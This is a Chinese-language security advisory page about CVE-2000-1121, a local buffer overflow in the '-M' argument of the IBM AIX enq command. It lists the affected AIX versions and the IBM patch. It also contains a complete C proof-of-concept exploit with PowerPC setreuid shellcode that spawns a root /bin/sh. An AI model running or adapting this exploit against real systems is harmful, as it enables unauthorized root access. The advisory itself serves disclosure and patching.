首页 -> 安全研究

安全研究

安全漏洞
AIX enq本地缓冲区溢出漏洞

发布日期:2000-12-01
更新日期:2003-02-26

受影响系统:
IBM AIX enq
    - IBM AIX 4.3.3
    - IBM AIX 4.3.2
    - IBM AIX 4.3.1
    - IBM AIX 4.3
    - IBM AIX 4.2.1
    - IBM AIX 4.2
描述:
BUGTRAQ  ID: 2034
CVE(CAN) ID: CVE-2000-1121

AIX是一款由IBM公司开发和维护的UNIX操作系统。

AIX包含的enq对命令行参数解析不正确,本地攻击者可以利用这个漏洞以ROOT权限在系统上执行任意指令。

enq程序对用户提交的'-M'参数缺少正确的边界缓冲区检查,攻击者提交超长字符串作为此参数值,可覆盖堆栈部分变量而发生缓冲区溢出,精心构建提交的数据可以以ROOT权限在系统上执行任意指令。

<*来源:choi sungwoon (monocat2@hanmail.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104552164426937&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

choi sungwoon(monocat2@hanmail.net) 提供了如下测试程序:

#define ADRNUM      3000
#define NOPNUM     16000
#define ADR_ALLIGN     0
#define ALLIGN         0

char setreuidcode[]=
        "\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40"
        "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"
        "\x4c\xc6\x33\x42\x44\xff\xff\x02\x92\x03\xff\xff\x38\x75\xff\x04"
        "\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10"
        "\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";

char nop[]="\x7f\xff\xfb\x78";

main(int argc,char **argv,char **e){
    char buffer[3000],egg[20000],adr[4],*b,*envp[2];
    int i;

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;

    envp[0]=egg;
    envp[1]=0;

    b=buffer;
    for(i=0;i<ADR_ALLIGN;i++) *b++=adr[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    b=egg;
    sprintf(b,"xxx=");b+=4;
    for(i=0; i<ALLIGN;i++) *b++=' ';
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
    *b=0;

    execle("/usr/bin/enq", "enq", "-M", buffer, 0, envp);
}

建议:
厂商补丁:

IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

IBM APAR IY08287
http://techsupport.services.ibm.com/rs6k/fixes.html

浏览次数:3189
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障